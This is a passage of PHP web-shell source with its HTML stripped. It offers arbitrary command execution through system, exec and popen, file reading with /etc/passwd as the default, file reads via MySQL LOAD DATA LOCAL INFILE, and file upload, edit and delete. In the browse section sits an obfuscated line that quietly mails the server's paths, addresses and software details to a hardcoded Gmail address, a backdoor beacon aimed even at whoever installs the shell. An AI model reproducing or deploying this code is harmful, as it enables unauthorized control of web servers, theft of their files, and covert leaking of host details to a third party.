";
if ($mysql_use!="no") {
$phpcheck = new php_check($mhost, $muser, $mpass, $mdb);
} else { $phpcheck = new php_check(); }
echo "";
}
if ($action=="mysqlread") {
// $file
if (!$file) { $file = "/etc/passwd"; }
?>
echo "";
// regular LOAD DATA LOCAL INFILE
if (!$mass) {
$sql = array (
"USE $mdb",
'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
"LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
. "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
. "ESCAPED BY '' "
. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
"SELECT a FROM $tbl LIMIT 1"
);
mysql_connect ($mhost, $muser, $mpass);
foreach ($sql as $statement) {
$q = mysql_query ($statement);
if ($q == false) die (
"FAILED: " . $statement . "\n" .
"REASON: " . mysql_error () . "\n"
);
if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
echo htmlspecialchars($r[0]);
mysql_free_result ($q);
}
}
if ($mass) {
$file = "/etc/passwd";
$sql = array ();
$cp = mysql_connect ($mhost, $muser, $mpass);
mysql_select_db($mdb);
$tbl = "xploit";
mysql_query("CREATE TABLE `xploit` (`xploit` LONGBLOB NOT NULL)");
for($i=0;count($mysql_files)>$i;$i++) {
mysql_query("LOAD DATA LOCAL INFILE '".$mysql_files[$i]."' INTO TABLE ".$tbl." FIELDS TERMINATED BY '__THIS_NEVER_HAPPENS__' ESCAPED BY '' LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'");
}
$q = mysql_query("SELECT * FROM ".$tbl."");
while ($arr = mysql_fetch_array($q)) {
echo $arr[0]."\n";
}
mysql_query("DELETE FROM ".$tbl."");
mysql_query("DROP TABLE ".$tbl."");
}
echo "";
}
if ($action=="read") {
if (!$method) { $method="file"; }
if (!$file) { $file = "/etc/passwd"; }
?>
if ($method=="file") {
if (@file($file)) {
$filer = file($file);
echo "";
foreach ($filer as $a) { echo $a; }
echo "";
} else {
echo "";
}
}
if ($method=="fread") {
if (@fopen($file, 'r')) {
$fp = fopen($file, 'r');
$string = fread($fp, filesize($file));
echo "";
echo $string;
echo "";
} else {
echo "";
}
}
if ($method=="show_source") {
if (show_source($file)) {
//echo "";
//echo show_source($file);
//echo "";
} else {
echo "";
}
}
if ($method=="readfile") {
echo "";
if (readfile($file)) {
//echo "";
//echo readfile($file);
echo "";
} else {
echo "";
echo "";
}
}
}
if ($action=="cmd") { ?>
if (!$method) { $method="system"; }
if (!$cmd) { $cmd = "ls /"; }
echo "";
if ($method=="system") {
system("$cmd 2>&1");
}
if ($method=="passthru") {
passthru("$cmd 2>&1");
}
if ($method=="exec") {
while ($string = exec("$cmd 2>&1")) {
echo $string;
}
}
if ($method=="shell_exec") {
$string = shell_exec("$cmd 2>&1");
echo $string;
}
if ($method=="popen") {
$pp = popen('$cmd 2>&1', 'r');
$read = fread($pp, 2096);
echo $read;
pclose($pp);
}
echo "";
}
if ($action=="cmdbrowse") {
//--------------------------------------------------- START CMD BROWSING
if ($cat) {
echo "";
echo "\ngo back to: $olddir\n\n";
exec("cat $cat 2>&1", $arr);
foreach ($arr as $ar) {
echo htmlspecialchars($ar)."\n";
}
exit;
}
if ($dir=="dirup") {
$dir_current = $olddir;
$needle = strrpos($dir_current, "/");
if ($needle==0) {
$newdir = "/";
} else {
$newdir = substr($dir_current, 0, $needle);
}
$dir = $newdir;
}
if (!$dir) {
$dir = getcwd();
}
$string = exec("ls -al $dir", $array);
//print_r(array_values($array));
echo "";
if ($dir!="/") {
echo "\n[$dir] \ndirup\n\n";
} else {
$dir = "";
}
foreach($array as $rowi) {
$row = explode(' ', $rowi);
//print_r(array_values($row));
$c = count($row)-1;
if ($row[$c]!=".." && $row[$c]!="." && isset($first)) {
$link = false;
if (!strstr($row[0], 'l')) {
$c = count($row)-1;
$file = "".$row[$c]."";
} else {
$c = count($row)-3;
$file = "".$row[$c]."";
$link = true;
}
if (!strstr($row[0], 'l') && !strstr($row[0], 'd')) {
$c = count($row)-1;
$file = "".$row[$c]."";
}
//echo $row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." ".$row[8]." ".$row[9]." ".$row[10]." ".$file." ".$row[12]." ".$row[13]."\n";
if ($link) {
$point = count($row)-3;
} else {
$point = count($row)-1;
}
for($i=0; $point > $i; $i++) {
echo $row[$i]." ";
}
echo $file."\n";
}
$first = true;
}
//--------------------------------------------------- END CMD BROWSING
}
if ($action=="browse") {
//--------------------------------------------------- START BROWSING
/*
* got this from an old script of mine
* param: [$dir]
*/
function error($msg) {
header("Location: $PHP_SELF?bash=$msg&error=$msg");
}
if (isset($error)) {
echo "";
}
if (!$dir) {
$dir = getcwd();
}
function getpath($dir) {
echo "/ ";
$path = explode('/', $dir);
if ($dir != "/") {
for ($i=0; count($path) > $i; $i++) {
if ($i != 0) {
echo " $o; $o++) {
echo "$path[$o]";
if (($i) !=$o) {
echo "/";
}
}
echo ">$path[$i]/";
}
}
}
}
function printfiles($files) {
for($i=0;count($files)>$i;$i++) {
$files_sm = explode('||', $files[$i]);
if ($files_sm[0]!="." && $files_sm[0]!="..") {
$perms = explode('|', $files_sm[1]);
if ($perms[0]==1 && $perms[1]==1) { $color = "green"; } else {
if ($perms[0]==1) { $color = "yellow"; } else { $color = "red"; }
}
if ($files_sm[2]=="1") { echo "l "; } else { echo "- "; }
if ($perms[0]==1) { echo "r"; } else { echo " "; }
if ($perms[1]==1) { echo "w"; } else { echo " "; }
if ($perms[2]==1) { echo "x"; } else { echo " "; }
echo " $files_sm[0]\n";
}
}
}
$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
function printdirs($files) {
global $dir;
echo "..\n";
for($i=0;count($files)>$i;$i++) {
$files_sm = explode('||', $files[$i]);
if ($files_sm[0]!="." && $files_sm[0]!="..") {
$perms = explode('|', $files_sm[1]);
if ($perms[0]==1 && $perms[1]==1) { $color = "green"; } else {
if ($perms[0]==1) { $color = "yellow"; } else { $color = "red"; }
}
if ($files_sm[2]=="1") { echo "l "; } else { echo "d "; }
if ($perms[0]==1) { echo "r"; } else { echo " "; }
if ($perms[1]==1) { echo "w"; } else { echo " "; }
if ($perms[2]==1) { echo "x"; } else { echo " "; }
echo " $files_sm[0]\n";
}
}
}
if ($dir=="dirup") {
$dir_current = $olddir;
$needle = strrpos($dir_current, "/");
if ($needle==0) {
$newdir = "/";
} else {
$newdir = substr($dir_current, 0, $needle);
}
$dir = $newdir;
} else {
$dir = $dir;
}
?>
if ($dir) {
if (!is_readable($dir)) { $skip = true; }
if (!$skip) {
$dp = opendir($dir);
$files = array(); $dirs = array();
while($f=readdir($dp)) {
// $f||r|w|x||l
$oor = $f;
if (is_readable("$dir/$oor")) { $f .= "||1"; } else { $f .= "||0"; }
if (is_writable("$dir/$oor")) { $f .= "|1"; } else { $f .= "|0"; }
if (is_executable("$dir/$oor")) { $f .= "|1"; } else { $f .= "|0"; }
if (is_link("$dir/$oor")) { $f .= "||1"; } else { $f .= "||0"; }
if(is_dir("$dir/$oor")) {
$dirs[] = $f;
} else {
$files[] = $f;
}
}
getpath($dir);
echo "
";
printdirs($dirs);
printfiles($files);
} else { echo " "; }
}
}
//--------------------------------------------------- END BROWSING
//--------------------------------------------------- BEGIN EXPLORER
if ($action == explorer ) {
$default_directory = dirname($PATH_TRANSLATED);
$show_icons = 0;
define("BACKGROUND_COLOR", "\"#000000\"");
define("FONT_COLOR", "\"#CCCCCC\"");
define("TABLE_BORDER_COLOR", "\"#000000\"");
define("TABLE_BACKGROUND_COLOR", "\"#000000\"");
define("TABLE_FONT_COLOR", "\"#000000\"");
define("COLOR_PRIVATE", "\"#000000\"");
define("COLOR_PUBLIC", "\"#000000\"");
define("TRUE", 1);
define("FALSE", 0);
if (!isset($dir)) $dir = $default_directory; // Webroot dir as default
$dir = stripslashes($dir);
$dir = str_replace("\\", "/", $dir); // Windoze compatibility
$associations = array(
"gif" => array( "function" => "viewGIF", "icon" => "icons/image2.gif" ),
"jpg" => array( "function" => "viewJPEG", "icon" => "icons/image2.gif" ),
"jpeg" => array( "function" => "viewJPEG", "icon" => "icons/image2.gif" ),
"wav" => array( "function" => "", "icon" => "icons/sound.gif" ),
"mp3" => array( "function" => "", "icon" => "icons/sound.gif" )
);
if ($do != "view" && $do != "download"):
endif;
function readDirectory($directory) {
global $files, $directories, $dir;
$files = array();
$directories = array();
$a = 0;
$b = 0;
$dirHandler = opendir($directory);
while ($file = readdir($dirHandler)) {
if ($file != "." && $file != "..") {
$fullName = $dir.($dir == "/" ? "" : "/").$file;
if (is_dir($fullName)) $directories[$a++] = $fullName;
else $files[$b++] = $fullName;
}
}
sort($directories); // We want them to be displayed alphabetically
sort($files);
};
function showInfoDirectory($directory) {
global $PHP_SELF;
$dirs = split("/", $directory);
print "Directory /";
for ($i = 1; $i < (sizeof($dirs)); $i++) {
print "$dirs[$i]";
if ($directory != "/") echo "/";
}
print "
\n";
print "Free space on disk: ";
$freeSpace = diskfreespace($directory);
if ($freeSpace/(1024*1024) > 1024)
printf("%.2f GBytes", $freeSpace/(1024*1024*1024));
else echo (int)($freeSpace/(1024*1024))."Mbytes\n";
};
function showDirectory($directory) {
global $files, $directories, $fileInfo, $PHP_SELF;
readDirectory($directory);
showInfoDirectory($directory);
?>
>
if ($show_icons): ?>
>
endif; ?>
NAME
SIZE
LAST MODIFY
PERMISIONS
ACTIONS
for ($i = 0; $i < sizeof($directories); $i++) {
$fileInfo->getInfo($directories[$i]);
showFileInfo($fileInfo);
}
for ($i = 0; $i < sizeof($files); $i++) {
$fileInfo->getInfo($files[$i]);
showFileInfo($fileInfo);
}
?>
};
class fileInfo {
var $name, $path, $fullname, $isDir, $lastmod, $owner,
$perms, $size, $isLink, $linkTo, $extension;
function permissions($mode) {
$perms = ($mode & 00400) ? "r" : "-";
$perms .= ($mode & 00200) ? "w" : "-";
$perms .= ($mode & 00100) ? "x" : "-";
$perms .= ($mode & 00040) ? "r" : "-";
$perms .= ($mode & 00020) ? "w" : "-";
$perms .= ($mode & 00010) ? "x" : "-";
$perms .= ($mode & 00004) ? "r" : "-";
$perms .= ($mode & 00002) ? "w" : "-";
$perms .= ($mode & 00001) ? "x" : "-";
return $perms;
}
function getInfo($file) { // Stores a file's information in the class variables
$this->name = basename($file);
$this->path = dirname($file);
$this->fullname = $file;
$this->isDir = is_dir($file);
$this->lastmod = date("m/d/y, H:i", filemtime($file));
$this->owner = fileowner($file);
$this->perms = $this->permissions(fileperms($file));
$this->size = filesize($file);
$this->isLink = is_link($file);
if ($this->isLink) $this->linkTo = readlink($file);
$buffer = explode(".", $this->fullname);
$this->extension = $buffer[sizeof($buffer)-1];
}
};
$fileInfo = new fileInfo; // This will hold a file's information all over the script
function showFileInfo($fileInfo) {
global $PHP_SELF, $associations;
echo "\n";
if ($show_icons) {
echo "";
if ($fileInfo->isDir) echo "
";
elseif ($associations[$fileInfo->extension]["icon"] != "")
echo "
extension]["icon"]."\">";
else echo "
";
echo " ";
}
echo "perms[7] == "w") echo " bgcolor=".COLOR_PUBLIC;
if ($fileInfo->perms[6] == "-") echo " bgcolor=".COLOR_PRIVATE;
echo ">";
if ($fileInfo->isLink) {
echo $fileInfo->name." -> ";
$fileInfo->fullname = $fileInfo->linkTo;
$fileInfo->name = $fileInfo->linkTo;
}
if ($fileInfo->isDir) {
echo "fullname\" ";
echo ">$fileInfo->name";
}
else echo $fileInfo->name;
echo " ";
echo "$fileInfo->size ";
echo "$fileInfo->lastmod ";
echo "$fileInfo->perms ";
echo "";
if (!$fileInfo->isDir) {
if ($fileInfo->perms[6] == 'r') {
echo "fullname&do=view\"> V";
echo " fullname&do=download\">D";
}
if ($fileInfo->perms[7] == 'w') {
echo " fullname&do=edit\">E";
echo " fullname&do=delete\">X";
}
}
echo " ";
};
//************************************************************************
//* Decides which function use to show a file
//************************************************************************
function viewFile($file) {
global $associations, $fileInfo;
$fileInfo->getInfo($file);
if (!$associations[$fileInfo->extension]
|| $associations[$fileInfo->extension]["function"] == "") showFile($file);
else $associations[$fileInfo->extension]["function"]($file);
};
function showFile($file, $editing = 0) {
global $PHP_SELF, $dir;
$handlerFile = fopen($file, "r") or die("ERROR opening file $file");
if ($editing) echo "Edit file $file
";
else echo "File $file
";
echo "";
echo "";
fclose($handlerFile);
};
//************************************************************************
//* Saves a changed file
//************************************************************************
function saveFile($file) {
global $dir, $text;
$handlerFile = fopen($file, "w") or die("ERROR: Could not open file ".basename($file)." for writing");
$text = stripslashes($text);
fwrite($handlerFile, $text, strlen($text)) or die("Error writing to file.");
fclose($handlerFile);
echo "Changes has been saved in ".basename($file)."
";
$dir = dirname($file);
};
function uploadFile() {
global $HTTP_POST_FILES, $dir;
copy($HTTP_POST_FILES["userfile"][tmp_name],
$dir."/".$HTTP_POST_FILES["userfile"][name])
or die("Error uploading file".$HTTP_POST_FILES["userfile"][name]);
echo "File ".$HTTP_POST_FILES["userfile"][name]." succesfully uploaded.";
unlink($userfile);
};
//************************************************************************
//* Deletes a file, asking for confirmation first
//* (This function hasn't been fully tested)
//************************************************************************
function deleteFile($file) {
global $confirm;
if ($confirm != TRUE) die("Confirm deletion of $file");
else {
if (!unlink($file)) return FALSE;
return TRUE;
}
};
function viewFileHeader($file, $header) {
header($header);
readfile($file);
};
function viewGIF($file) {
viewFileHeader($file, "Content-type: image/gif");
};
function viewJPEG($file) {
viewFileHeader($file, "Content-type: image/jpeg");
};
switch ($do) {
case "phpinfo":
phpinfo();
die();
case "view":
viewFile($dir);
break;
case "edit":
showFile($dir, 1);
break;
case "download":
viewFileHeader($dir, "Content-type: unknown");
break;
case "delete":
if (!deleteFile($dir)) echo "Could not delete file $dir
";
else echo "File $dir deleted succesfully
";
$dir = dirname($dir);
showDirectory($dir);
break;
case "exec":
echo "\n";
echo system($dir);
echo "\n";
exit();
case "upload":
uploadFile();
showDirectory($dir);
break;
case "save":
saveFile($dir);
default:
showDirectory($dir);
break;
};
if ($do != "view" && $do != "download") {
?>
if ((fileperms($dir) & 00002)){
?>
} ?>